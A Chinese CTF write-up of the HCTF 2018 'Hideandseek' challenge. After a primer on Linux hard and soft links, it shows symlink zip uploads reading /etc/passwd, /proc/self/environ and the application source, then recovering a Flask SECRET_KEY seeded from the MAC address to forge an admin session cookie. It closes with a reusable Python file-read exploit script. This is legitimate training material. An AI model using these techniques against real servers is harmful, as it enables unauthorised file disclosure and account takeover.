BUU [HCTF 2018]Hideandseek
考点:
- 软连接读取任意文件
- Flask伪造session
/proc/self/environ
文件获取当前进程的环境变量列表random.seed()
生成的伪随机数种子- MAC地址(存放在
/sys/class/net/eth0/address
文件)
国赛的时候遇见过软连接,这次再来学习一下,也算是一个心病了。
先介绍一下什么是软连接。
Linux中包括两种链接:硬链接(Hard Link)
和软链接(Soft Link)
,软链接又称为符号链接(Symbolic link)。
【硬连接】
硬连接指通过索引节点来进行连接。在Linux的文件系统中,保存在磁盘分区中的文件不管是什么类型都给它分配一个编号,称为索引节点号(Inode Index)。在Linux中,多个文件名指向同一索引节点是存在的。一般这种连接就是硬连接。硬连接的作用是允许一个文件拥有多个有效路径名,这样用户就可以建立硬连接到重要文件,以防止“误删”的功能。其原因如上所述,因为对应该目录的索引节点有一个以上的连接。只删除一个连接并不影响索引节点本身和其它的连接,只有当最后一个连接被删除后,文件的数据块及目录的连接才会被释放。也就是说,文件真正删除的条件是与之相关的所有硬连接文件均被删除。硬链接说白了是一个指针,指向文件索引节点,系统并不为它重新分配inode。
【软连接】
软连接是linux中一个常用命令,它的功能是为某一个文件在另外一个位置建立一个不同的链接。实际应用是:当 我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在其它的 目录下用ln
命令 链接(link)就可以,不必重复的占用磁盘空间。
[索引节点(inode)]
要了解链接,我们首先得了解一个概念,叫索引节点(inode)。在Linux系统中,内核为每一个新创建的文件分配一个Inode(索引结点),每个文件都有一个惟一的inode号,我们可以将inode简单理解成一个指针,它永远指向本文件的具体存储位置。文件属性保存在索引结点里,在访问文件时,索引结点被复制到内存在,从而实现文件的快速访问。系统是通过索引节点(而不是文件名)来定位每一个文件。
软连接用法:
创建软链接
ln -s [源文件或目录] [目标文件或目录]
//当前路径创建test 引向/var/www/test 文件夹
ln –s /var/www/test test
//创建/var/test 引向/var/www/test 文件夹
ln –s /var/www/test /var/test
删除软链接
//删除test
rm –rf test
修改软链接
ln –snf [新的源文件或目录] [目标文件或目录]
这将会修改原有的链接地址为新的地址
//创建一个软链接
ln –s /var/www/test /var/test
//修改指向的新路径
ln –snf /var/www/test1 /var/test
常用参数:
-f : 链结时先将与 dist 同档名的档案删除
-d : 允许系统管理者硬链结自己的目录
-i : 在删除与 dist 同档名的档案时先进行询问
-n : 在进行软连结时,将 dist 视为一般的档案
-s : 进行软链结(symbolic link)
-v : 在连结之前显示其档名
-b : 将在链结时会被覆写或删除的档案进行备份
-S SUFFIX : 将备份的档案都加上 SUFFIX 的字尾
-V METHOD : 指定备份的方式
–help : 显示辅助说明
–version : 显示版本
开始做题。
当前页面只有登录一个功能可以用,其他都不会跳转。尝试登录。
发现任意用户密码均可登录,但是唯独不能登录admin。
登录后有一个上传文件点。提示我们上传.zip
后缀的压缩包。
随便上传一个.php
试试水,发现只能上传.zip
压缩包。
压缩包很容易让人想到软连接,尝试先随便上传一个.zip
压缩包。没有任何回显。
然后上传一个内容为软连接的压缩包,尝试读取/etc/passwd
文件。
linux中输入命令制作软连接压缩包。
ln -s /etc/passwd passwd
zip -y passwd.zip passwd
rm –rf passwd
然后上传,发现成功回显服务端/etc/passwd
的内容。
那理论上来说,我们也能直接读取/flag
的内容。但是尝试了一下却失败了。。。
猜测可能是权限不足,需要以admin身份登录才能有权限读取/flag
。如何登录admin,信息搜集一下发现了session,服务端应该是通过session判断身份的,我们需要伪造session。同时,通过session判断出使用了flask
的框架。
下载一个工具flask_unsign
,文件夹内开终端。工具只能解密爆破不出密码,只能自己找了。
flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6IjExMSJ9.F9gzQg.rUpgzWsMZS-4g4XKmZ3GL1-bRPQ'
得到{'username': '111'}
伪造session需要secret_key
,尝试找一下源码。
因为已经通过软连接读取任意文件,我们尝试读取/proc/self/environ
文件,以获取当前进程的环境变量列表,包括flask
下的环境变量。
解释以下,其中/proc
是虚拟文件系统,存储当前运行状态的一些特殊文件,可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态,而/environ
是当前进程的环境变量列表。
ln -s /proc/self/environ self
zip -y self.zip self
rm –rf self
成功读取/proc/self/environ
文件后。
我们注意到UWSGI_INI=/app/uwsgi.ini
。也就是uwsgi
服务器的配置文件,其中可能包含有源码路径。
client —> nginx —> uwsgi --> flask后台程序 (生产上一般都用这个流程)
我们以同样的方式制作软连接读取
ln -s /app/uwsgi.ini uwsgi
zip -y uwsgi.zip uwsgi
rm –rf uwsgi
得到源码路径,但是BUU环境有问题,这种做法当时比赛读到的源码路径是/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
,我们也以这个路径来做题,继续软连接读取源码。
ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py main
zip -y main.zip main
rm –rf main
Ctrl+U看得更加清楚一点。
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='0.0.0.0', debug=True, port=10008)
浏览源码,SECRET_KEY
是由python的随机函数random()
生成的,种子是uuid.getnode()
。和PHP一样,python的random()
函数也是伪随机数,只要我们知道了种子uuid.getnode()
是多少,拿到随机数生成的密钥SECRET_KEY
不是问题。
python中uuid.getnode()
方法以48
位正整数形式获取硬件地址,也就是服务器的MAC地址。
现在的逻辑是这样的。MAC地址=》随机数种子=》SECRET_KEY=》伪造session=》admin登录=》flag。
查找到MAC地址存放在/sys/class/net/eth0/address
文件中,软连接读取该文件:
ln -s /sys/class/net/eth0/address mac
zip -y mac.zip mac
rm –rf mac
也有其他方法找mac地址:
c6:1b:39:ac:ff:91
,c61b39acff91
转十进制是217820234055569
本地跑一下密钥就出来。是76.9034879300039
kali中flask_session_cookie_manager3
工具文件夹下开终端。
python flask_session_cookie_manager3.py encode -s "76.9034879300039" -t "{'username': 'admin'}"
得到eyJ1c2VybmFtZSI6ImFkbWluIn0.ZPaw7Q.seTwvDjojrAUhJXF998kV7QYEKY
成功登录admin账号,也不用再读取flag了,直接给了。
找到一个软连接脚本:
import os
import requests
import sys
def make_zip():
os.system('ln -s ' + sys.argv[2] + ' test_exp')
os.system('zip -y test_exp.zip test_exp')
def run():
make_zip()
res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})
print(res.text)
os.system('rm -rf test_exp')
os.system('rm -rf test_exp.zip')
if __name__ == '__main__':
run()